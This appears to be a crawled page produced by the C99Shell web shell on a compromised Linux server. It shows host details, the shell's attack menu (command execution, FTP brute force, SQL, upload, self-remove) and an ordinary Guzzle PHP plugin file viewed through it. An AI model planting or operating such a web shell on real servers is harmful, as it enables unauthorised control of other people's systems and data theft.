!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/guzzle/guzzle/guzzle/src/Guzzle/Plugin/ErrorResponse/   drwxr-xr-x
Free 13.77 GB of 61.93 GB (22.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ErrorResponsePlugin.php (2.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Guzzle\Plugin\ErrorResponse;

use 
Guzzle\Common\Event;
use 
Guzzle\Http\Message\RequestInterface;
use 
Guzzle\Service\Command\CommandInterface;
use 
Guzzle\Service\Description\Operation;
use 
Guzzle\Plugin\ErrorResponse\Exception\ErrorResponseException;
use 
Symfony\Component\EventDispatcher\EventSubscriberInterface;

/**
 * Converts generic Guzzle response exceptions into errorResponse exceptions
 */
class ErrorResponsePlugin implements EventSubscriberInterface
{
    public static function 
getSubscribedEvents()
    {
        return array(
'command.before_send' => array('onCommandBeforeSend', -1));
    }

    
/**
     * Adds a listener to requests before they sent from a command
     *
     * @param Event $event Event emitted
     */
    
public function onCommandBeforeSend(Event $event)
    {
        
$command $event['command'];
        if (
$operation $command->getOperation()) {
            if (
$operation->getErrorResponses()) {
                
$request $command->getRequest();
                
$request->getEventDispatcher()
                    ->
addListener('request.complete'$this->getErrorClosure($request$command$operation));
            }
        }
    }

    
/**
     * @param RequestInterface $request   Request that received an error
     * @param CommandInterface $command   Command that created the request
     * @param Operation        $operation Operation that defines the request and errors
     *
     * @return \Closure Returns a closure
     * @throws ErrorResponseException
     */
    
protected function getErrorClosure(RequestInterface $requestCommandInterface $commandOperation $operation)
    {
        return function (
Event $event) use ($request$command$operation) {
            
$response $event['response'];
            foreach (
$operation->getErrorResponses() as $error) {
                if (!isset(
$error['class'])) {
                    continue;
                }
                if (isset(
$error['code']) && $response->getStatusCode() != $error['code']) {
                    continue;
                }
                if (isset(
$error['reason']) && $response->getReasonPhrase() != $error['reason']) {
                    continue;
                }
                
$className $error['class'];
                
$errorClassInterface __NAMESPACE__ '\\ErrorResponseExceptionInterface';
                if (!
class_exists($className)) {
                    throw new 
ErrorResponseException("{$className} does not exist");
                } elseif (!
is_subclass_of($className$errorClassInterface)) {
                    throw new 
ErrorResponseException("{$className} must implement {$errorClassInterface}");
                }
                throw 
$className::fromCommand($command$response);
            }
        };
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4774 ]--